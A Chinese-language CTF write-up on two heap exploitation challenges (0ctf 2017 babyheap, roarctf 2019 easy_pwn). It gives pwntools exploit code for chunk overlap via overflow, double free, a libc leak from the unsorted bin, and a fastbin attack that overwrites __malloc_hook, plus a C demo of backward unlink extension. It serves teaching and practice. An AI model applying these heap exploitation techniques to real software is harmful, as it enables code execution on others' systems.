0ctf_2017_babyheap

漏洞点在md函数,这里没有限制size长度,所以存在溢出漏洞

这里指针都被清空了,所以不存在uaf可以使用,但是可以构造出double_free漏洞

为了形成double_free,可以让原本chunk[2] -> chunk[1] 溢出修改为 chunk[2] -> chunk[4]

修改前

修改后

for i in range(4):
   ad(0x10)

ad(0x80)
ad(0x10)
rm(1)   #2->1
rm(2)

payload = b'aaaaaaaa'*3 + p64(0x21) + b'aaaaaaaa'*3 + p64(0x21) +p8(0x80)
md(0,len(payload),payload)

payload = b'bbbbbbbb'*3+p64(0x21)
md(3,len(payload),payload)

再连续申请两个chunk,让程序认为chunk[2] 就是chunk[4] .

重新修改chunk[4]的size,使其恢复正常,可以进入unsortbin,也是为了让top_chunk可以正常寻址。rm(2),dp(4)即可完成泄露

ad(0x10)
ad(0x10)  #40->80(2)

payload = b'bbbbbbbb'*3+p64(0x91)
md(3,len(payload),payload)

rm(2)
dp(4)

content = u64(p.recvuntil('\x7f')[-6:]+b'\x00\x00')

为了挟持程序流,我们可以采用修改__malloc_hook的方法。我们可以错位寻找满足size域的位置,作为fake_chunk的位置。修改fastbin的fd,从而让chunk分配到那个位置。最后编辑fake_chunk,让__malloc_hook改为one_gadget

base = content-88-0x10 - libc.sym['__malloc_hook']
system = base + libc.sym['system']
free = base + libc.sym['__free_hook']
malloc = base + libc.sym['__malloc_hook']
print("system",hex(system))
print("free",hex(free))


ad(0x60)

rm(4)
payload = p64(malloc-11)
md(2,len(payload),payload)

#gdb.attach(p)

ad(0x60)
ad(0x60)
li(hex(malloc-11))
#gdb.attach(p)
#pause()


#payload = b'abc'
payload = b'AAAAAAAA'

md(6,len(payload),payload)

roarctf_2019_easy_pwn

布局好两组chunk,一个用于泄露,另一个用于进行double_free

ad(0x18)#0
ad(0x18)#1
ad(0x88)#2
ad(0x88)#3

ad(0x28)#4
ad(0x28)#5
ad(0x68)#6

利用单字节溢出漏洞修改chunk_1的size包括chunk_2,再free chunk_1这样就可以让chunk_1刚好进入unsortbin,然后ad(size(chunk_1)),切割使得chunk2的位置刚好为剩下的unsortbin,dp(2)即可实现泄露

md(0,34,b'a'*0x18+p8(0xb1))#edit chunk_size
rm(1)
ad(0x18)
dp(2)
gdb.attach(io)
leak = u64(io.recvuntil('\x7f')[-6:]+b'\x00\x00')
li(hex(leak))
malloc = leak - 88 - 0x10
li(hex(malloc))
ad(0x88) 

利用double_free漏洞可以实现fastbin_attack.可以通过vmmap看到这个chunk_8被分配到了__malloc_hook附近

md(4,50,b'a'*0x28+p8(0xa1))

rm(5)    
rm(6)    #6 double_free

ad(0x98) #5

md(5,0x38,b'A'*0x28+p64(0x71)+p64(malloc-11)) #fastbin attack 

ad(0x68) #6
ad(0x68)
md(8,30,b'112233445566778899')   #woc wei shen me shi 8
li(hex(malloc-11))

当然也可以向前进行double_free

但是首尾chunk都需要是的free

int main(void)
{
    void *ptr1,*ptr2,*ptr3,*ptr4;
    ptr1=malloc(128);//smallbin1
    ptr2=malloc(0x10);//fastbin1
    ptr3=malloc(0x10);//fastbin2
    ptr4=malloc(128);//smallbin2
    malloc(0x10);//防止与top合并
    free(ptr1);         <---------
    *(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
    *(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
    free(ptr4);//unlink进行前向extend <---------
    malloc(0x150);//占位块

}